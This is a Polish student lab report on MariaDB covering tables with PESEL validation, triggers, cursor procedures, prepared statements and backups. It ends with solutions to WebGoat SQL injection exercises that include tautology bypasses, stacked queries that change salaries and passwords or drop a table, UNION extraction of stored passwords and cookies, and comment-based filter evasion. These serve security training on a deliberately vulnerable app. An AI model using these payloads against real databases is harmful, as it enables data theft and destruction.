# Bazy Danych - Laboratorium 3

## Michał Waluś

Baza danych używając docker'a i

```
services:
  mariadb:
    image: mariadb:latest
    container_name: mariadb-lab3
    environment:
      MYSQL_ROOT_PASSWORD: rootpassword
      MYSQL_DATABASE: people
      MYSQL_USER: user
      MYSQL_PASSWORD: password
    volumes:
      - db_data:/var/lib/mysql
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql
    ports:
      - "3306:3306"
    networks:
      - mariadb-network

volumes:
  db_data:

networks:
  mariadb-network:
    driver: bridge
```

Startujemy bazę danych za pomocą:

```
docker compose up -d

docker exec -it mariadb-lab3 mariadb -D people -u root -prootpassword
```

### Zad.1

Tworzenie tabeli `Ludzie`

```
CREATE TABLE Ludzie (
    PESEL CHAR(11) PRIMARY KEY CHECK (NOT PESEL LIKE '%[^0-9]%'),
    imie VARCHAR(30),
    nazwisko VARCHAR(30),
    data_urodzenia DATE,
    plec ENUM('K', 'M'),
```

```
    CONSTRAINT peselDay CHECK (SUBSTRING(PESEL, 5, 2) < 32),
    CONSTRAINT peselGender CHECK ((SUBSTRING(PESEL, 10, 1) % 2 = 0 AND plec
= 'K') OR (SUBSTRING(PESEL, 10, 1) % 2 = 1 AND plec = 'M')),
    CONSTRAINT peselLastDigit CHECK (((SUBSTRING(pesel, 1, 1) +
3*SUBSTRING(pesel, 2, 1) + 7*SUBSTRING(pesel, 3, 1) + 9*SUBSTRING(pesel, 4,
1) + SUBSTRING(pesel, 5, 1) + 3*SUBSTRING(pesel, 6, 1) + 7*SUBSTRING(pesel,
7, 1) + 9*SUBSTRING(pesel, 8, 1) + SUBSTRING(pesel, 9, 1) +
3*SUBSTRING(pesel, 10, 1) + SUBSTRING(pesel, 11, 1)) % 10) = 0)
);
```

Tworzenie tabeli `Zawody`

```
CREATE TABLE Zawody (
    zawod_id INT PRIMARY KEY AUTO_INCREMENT,
    nazwa VARCHAR(50),
    pensja_min FLOAT CHECK (pensja_min >= 0),
    pensja_max FLOAT CHECK (pensja_max >= 0),
    CONSTRAINT pensja_min_man CHECK (pensja_min < pensja_max)
) AUTO_INCREMENT = 1;
```

Tworzenie tabeli `Pracownicy`

```
CREATE TABLE Pracownicy (
    pracownik_id INT PRIMARY KEY AUTO_INCREMENT,
    PESEL CHAR(11),
    zawod_id INT,
    pensja FLOAT CHECK (pensja >= 0),
    FOREIGN KEY (PESEL) REFERENCES Ludzie(PESEL),
    FOREIGN KEY (zawod_id) REFERENCES Zawody(zawod_id)
);
```

Dodanie trigger'a sprawdzającego wysokość pensji

```
DELIMITER $$

CREATE TRIGGER ValidatePensja
BEFORE INSERT ON Pracownicy
FOR EACH ROW
BEGIN
    DECLARE pensjaMin float;
    DECLARE pensjaMax float;

    SELECT pensja_min, pensja_max INTO pensjaMin, pensjaMax
    FROM Zawody
    WHERE zawod_id = NEW.zawod_id;

    IF NEW.pensja < pensjaMin OR NEW.pensja > pensjaMAX THEN
```

```
        SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Pensja is out of
range';
    END IF;
END$$

DELIMITER ;
```

W tabeli `Ludzie` PESEL jest unikalny, więc może być kluczem głównym, ale jedna osoba może być zatrudniona w kilku miejscach, więc w tabeli `Pracownicy` PESEL może się powtórzyć.

Dodanie danych do tabeli `Ludzie`

```
INSERT INTO Ludzie(PESEL, imie, nazwisko, data_urodzenia, plec) VALUES
('10251212350', 'Mateusz', 'Nowak', '2010-05-12', 'M'),
('08271802143', 'Anna', 'Kowalska', '2008-07-18', 'K'),
('12231013571', 'Jakub', 'Wiśniewski', '2012-03-10', 'M'),
('09312209844', 'Julia', 'Wójcik', '2009-11-22', 'K'),
('11263016530', 'Filip', 'Zieliński', '2011-06-30', 'M'),
('81020312335', 'Krzysztof', 'Kowalski', '1981-02-03', 'M'),
('90041509848', 'Anna', 'Nowak', '1990-04-15', 'K'),
('84122311596', 'Piotr', 'Wiśniewski', '1984-12-23', 'M'),
('92071202380', 'Maria', 'Wójcik', '1992-07-12', 'K'),
('89080713534', 'Michał', 'Zieliński', '1989-08-07', 'M'),
('85061009827', 'Ewa', 'Kamińska', '1985-06-10', 'K'),
('79090314775', 'Tomasz', 'Krawczyk', '1979-09-03', 'M'),
('94010203649', 'Agnieszka', 'Mazur', '1994-01-02', 'K'),
('88021515934', 'Paweł', 'Dąbrowski', '1988-02-15', 'M'),
('91031307367', 'Joanna', 'Lewandowska', '1991-03-13', 'K'),
('82071918235', 'Andrzej', 'Baran', '1982-07-19', 'M'),
('95062109242', 'Katarzyna', 'Szymańska', '1995-06-21', 'K'),
('87041712190', 'Adam', 'Czarnecki', '1987-04-17', 'M'),
('89090207425', 'Monika', 'Piotrowska', '1989-09-02', 'K'),
('93050113659', 'Kamil', 'Kubiak', '1993-05-01', 'M'),
('85080518322', 'Barbara', 'Jankowska', '1985-08-05', 'K'),
('89030405179', 'Grzegorz', 'Michalski', '1989-03-04', 'M'),
('81092203461', 'Magdalena', 'Szulc', '1981-09-22', 'K'),
('94021315771', 'Łukasz', 'Kozłowski', '1994-02-13', 'M'),
('88082917847', 'Ewelina', 'Pawlak', '1988-08-29', 'K'),
('86071514378', 'Karol', 'Sobczak', '1986-07-15', 'M'),
('92010110327', 'Patrycja', 'Adamska', '1992-01-01', 'K'),
('89031516599', 'Sebastian', 'Witkowski', '1989-03-15', 'M'),
('83052408583', 'Natalia', 'Walczak', '1983-05-24', 'K'),
('95071011235', 'Artur', 'Chmielewski', '1995-07-10', 'M'),
('88010605921', 'Alicja', 'Rutkowska', '1988-01-06', 'K'),
('84091912631', 'Mateusz', 'Malinowski', '1984-09-19', 'M'),
('91031204183', 'Sylwia', 'Wiśniewska', '1991-03-12', 'K'),
('87062413955', 'Marcin', 'Górski', '1987-06-24', 'M'),
('85090519843', 'Aleksandra', 'Sikorska', '1985-09-05', 'K'),
('82081707139', 'Rafał', 'Lis', '1982-08-17', 'M'),
('93030312988', 'Martyna', 'Król', '1993-03-03', 'K'),
('88041214835', 'Dominik', 'Wieczorek', '1988-04-12', 'M'),
```

```
('91091109347', 'Renata', 'Zając', '1991-09-11', 'K'),
('86051408714', 'Janusz', 'Majewski', '1986-05-14', 'M'),
('95080815640', 'Weronika', 'Stępień', '1995-08-08', 'K'),
('84073010571', 'Jacek', 'Czajka', '1984-07-30', 'M'),
('87092709242', 'Justyna', 'Sadowska', '1987-09-27', 'K'),
('85061813578', 'Przemysław', 'Gajda', '1985-06-18', 'M'),
('93070619829', 'Karolina', 'Ostrowska', '1993-07-06', 'K'),
('89012315393', 'Wojciech', 'Marciniak', '1989-01-23', 'M'),
('91021811245', 'Zuzanna', 'Krysiak', '1991-02-18', 'K'),
('86091518374', 'Kacper', 'Brzeziński', '1986-09-15', 'M'),
('88070517963', 'Gabriela', 'Wolska', '1988-07-05', 'K'),
('72060615652', 'Adam', 'Sikorski', '1972-06-06', 'M'),
('50010112336', 'Jan', 'Kowalski', '1950-01-01', 'M'),
('44021509849', 'Maria', 'Nowak', '1944-02-15', 'K'),
('57030511594', 'Tadeusz', 'Wiśniewski', '1957-03-05', 'M'),
('48071202387', 'Krystyna', 'Wójcik', '1948-07-12', 'K'),
('60080913537', 'Zbigniew', 'Zieliński', '1960-08-09', 'M');
```

Dodanie danych do tabeli `Zawody`

```
INSERT INTO Zawody(nazwa, pensja_min, pensja_max) VALUES
('Polityk', 4000, 100000),
('Nauczyciel', 3500, 7000),
('Lekarz', 8000, 25000),
('Informatyk', 5000, 25000);
```

Przypisujemy zawody przy użyciu kursora

```
DELIMITER $$

CREATE OR REPLACE PROCEDURE AddEmployment()
BEGIN
  DECLARE done BOOLEAN DEFAULT FALSE;
  DECLARE curPesel CHAR(11);
  DECLARE curBDate DATE;
  DECLARE curGender ENUM('K', 'M');
  DECLARE minSalary FLOAT;
  DECLARE maxSalary FLOAT;
  DECLARE rndSalary FLOAT;
  DECLARE rndProfession INT;

  DECLARE ludzieCursor CURSOR FOR
    SELECT PESEL, data_urodzenia, plec FROM Ludzie
    WHERE data_urodzenia <= DATE_SUB(CURDATE(), INTERVAL 18 YEAR);

  DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = TRUE;

  OPEN ludzieCursor;
```

```
  ludzieLoop: LOOP
    IF done THEN
      LEAVE ludzieLoop;
    END IF;

    FETCH ludzieCursor INTO curPesel, curBDate, curGender;

    REPEAT
      SELECT zawod_id, pensja_min, pensja_max
      INTO rndProfession, minSalary, maxSalary
      FROM Zawody
      ORDER BY RAND()
      LIMIT 1;

      IF (rndProfession = (SELECT zawod_id FROM Zawody WHERE nazwa =
'Lekarz')) THEN
        IF (curGender = 'M' AND curBDate < DATE_SUB(CURDATE(), INTERVAL 65
YEAR)) OR (curGender = 'K' AND curBDate < DATE_SUB(CURDATE(), INTERVAL 60
YEAR)) THEN
          SET rndProfession = NULL;
        END IF;
      END IF;
    UNTIL rndProfession IS NOT NULL END REPEAT;

    SET rndSalary = minSalary + RAND() * (maxSalary - minSalary);

    IF NOT EXISTS (
      SELECT 1 FROM Pracownicy
      WHERE PESEL = curPesel
    ) THEN
      INSERT INTO Pracownicy(PESEL, zawod_id, pensja) VALUES
      (curPesel, rndProfession, rndSalary);
    END IF;

  END LOOP;

  CLOSE ludzieCursor;
END$$

DELIMITER ;

CALL AddEmployment();
```

## Zad. 3

Tworzenie procedury

```
DELIMITER $$

CREATE OR REPLACE PROCEDURE Raise (job VARCHAR(50))
BEGIN
```

```
  DECLARE done BOOLEAN DEFAULT FALSE;
  DECLARE allowed BOOLEAN DEFAULT TRUE;
  DECLARE curSalary FLOAT;
  DECLARE maxSalary FLOAT DEFAULT (SELECT pensja_max FROM Zawody WHERE
nazwa = job);
  DECLARE jobID INT DEFAULT (SELECT zawod_id FROM Zawody WHERE nazwa =
job);

  DECLARE pracownicyCursor CURSOR FOR
    SELECT pensja FROM Pracownicy
    WHERE zawod_id = jobID;

  DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = TRUE;

  OPEN pracownicyCursor;

  pracownicyLoop: LOOP
    IF done THEN
      LEAVE pracownicyLoop;
    END IF;

    FETCH pracownicyCursor INTO curSalary;

    IF (1.05 * curSalary) > maxSalary THEN
      SET allowed = FALSE;
      LEAVE pracownicyLoop;
    END IF;
  END LOOP;

  CLOSE pracownicyCursor;

  IF allowed THEN
    UPDATE Pracownicy
    SET pensja = 1.05 * pensja
    WHERE zawod_id = jobID;
  END IF;
END$$

DELIMITER ;
```

## Zad. 4

Przygotowanie zapytania

```
PREPARE WomenByProfession FROM
    "SELECT COUNT(*) AS liczba_kobiet
     FROM Pracownicy
     JOIN Ludzie ON Pracownicy.PESEL = Ludzie.PESEL
     JOIN Zawody ON Pracownicy.zawod_id = Zawody.zawod_id
     WHERE Ludzie.plec = 'K' AND Zawody.nazwa = ?";
```

Wywołanie zapytania

```
SET @nazwa_zawodu = 'Lekarz';
EXECUTE WomenByProfession USING @nazwa_zawodu;
```

Zwolnienie zapytania

```
DEALLOCATE PREPARE WomenByProfession;
```

## Zad. 5

1. Wykonanie backup'u bazy danych *people* do pliku `init.sql`

```
docker exec -it mariadb-lab3 mariadb-dump --routines --triggers -u root -
prootpassword people > init.sql
```

2. Usunięcie bazy danych

```
docker compose down && docker volume rm lab3_db_data
```

3. Przywrócenie bazy

```
docker compose up -d
```

Backup pełny uwzględnia wykonanie kopii wszystkich danych, niezależnie od już istniejących backup'ów, a backup różnicowy zawiera tylko te pliki, które się zmieniły od ostatniego pełnego backup'u.

## Zad. 6

Zadania z `https://github.com/WebGoat/WebGoat/`

Włączanie za pomocą

```
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090
webgoat/webgoat
```

Zadania dostępne pod adresem `http://localhost:8080/WebGoat/login`

**SQL Injection (Intro)**

- Ex. 2

```
SELECT department FROM employees WHERE first_name='Bob' AND
last_name='Franco';
```

- Ex. 3

```
UPDATE employees SET department='Sales' WHERE first_name='Tobi' AND
last_name='Barnett';
```

- Ex. 4

```
ALTER TABLE employees ADD COLUMN phone VARCHAR(20);
```

- Ex. 5

```
GRANT ALL ON grant_rights TO unauthorized_user;
```

- Ex. 9

```
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith'
or '1' = '1';
```

- Ex. 10

```
-- Login_Count: 1
-- User_Id: 1 OR 1=1
SELECT * From user_data WHERE Login_Count = 1 and userid= 1 OR 1=1;
```

- Ex. 11

```
-- Employee Name: a
-- Authentication TAN:' OR '1'='1
```

- Ex. 12

```

```

```
-- Employee Name: a
-- Authentication TAN:'; UPDATE employees SET salary='100000' WHERE
last_name='Smith' AND auth_tan='3SL99A';--
```

- Ex. 13

```
-- Action contains:'; DROP TABLE access_log;--
```

**SQL Injection (Advanced)**

- Ex. 3 Rozwiązanie 1

```
-- Name:';SELECT * FROM user_system_data;--
SELECT * FROM user_data WHERE last_name = '';SELECT * FROM
user_system_data;--'
```

Rozwiązanie 2

```
-- Name: Smith' UNION SELECT userid, user_name, password, cookie, password,
password, 1 FROM user_system_data;--
SELECT * FROM user_data WHERE last_name = 'Smith' UNION SELECT userid,
user_name, password, cookie, password, password, 1 FROM user_system_data;--
'
```

- Ex. 5

```
-- Register
-- Username:';UPDATE SQL_CHALLENGE_USERS SET password='123' WHERE
userid='tom';--
```

**SQL Injection (Mitigation)**

- Ex. 5

```
getConnection
PreparedStatement statement
prepareStatement
?
?
statement.setString(1,"1")
statement.setString(2,"2")
```

- Ex. 6

```
try {
    Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
    PreparedStatement statement = conn.prepareStatement("SELECT address
FROM users WHERE name=? AND email=?");
    statement.setString(1, "name");
    statement.setString(2, "email");
    statement.executeUpdate();
} catch (Exception e) {
    System.out.println("Something went wrong!");
}
```

- Ex. 9

```
-- Name: a';/**/select/**/*/**/from/**//**/user_system_data;--
SELECT * FROM user_data WHERE last_name =
'a';\/**\/select\/**\/*\/**\/from\/**\/\/**\/user_system_data;--'
```

- Ex. 10

```
-- Name: a';/**/seselectlect/**/*/**/frfromom/**/user_system_data;--
SELECT * FROM user_data WHERE last_name =
'A';\/**\/SELECT\/**\/*\/**\/FROM\/**\/USER_SYSTEM_DATA;--'
```

- Ex. 12

```
104.130.219.202
```